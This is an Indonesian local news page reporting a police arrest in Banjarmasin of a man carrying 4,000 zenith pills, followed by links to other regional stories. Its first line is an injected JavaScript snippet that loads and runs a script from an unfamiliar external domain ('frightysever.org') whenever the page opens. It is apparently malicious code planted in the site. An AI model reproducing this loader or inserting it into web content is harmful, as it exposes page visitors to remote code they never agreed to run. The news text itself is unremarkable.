(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Polsek Banjarmasin Tengah (Banteng) meringkus seorang pengedar zenith di Jalan A Yani Km 1 Kelurahan Sungai Baru, Kecamatan Banjarmasin Tengah kota Banjarmasin, Selasa (7/11) sekitar pukul 20.00 Wita.
Tersangka yang berhasil diciduk atas nama Arkani (33) warga Jalan A Yani Km 6 Komplek Hikmah Banua Kecamatan Banjarmasin Timur. Arkani tertangkap tangan saat sedang membawa 4000 butir zenith. Pelaku tersangkut tindak pidana pasal 197 UU RI No 36 Tahun 2009 tentang kesehatan.
Menurut penuturan tersangka, ia menjual zenith tersebut untuk tambahan penghasilan sehari-hari, karena ia bekerja sebagai kernet angkutan umum dan bus terminal Km 6 sudah memiliki banyak saingan.
Ditemui di Polsek Banjarmasin Tengah, Kompol Wahyu Hidayat SIK mengatakan Unit Reskrim Polsek Banjarmasin Tengah mengamankan 4000 butir zenith dari tersangka yang sedang mengedarkan obat-obatan yang sudah ditarik izin edarnya.
“Pelaku dan barang bukti diamankan di Polsek Banjarmasin Tengah untuk proses pengembangan lebih lanjut,†ujarnya. (ammar)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.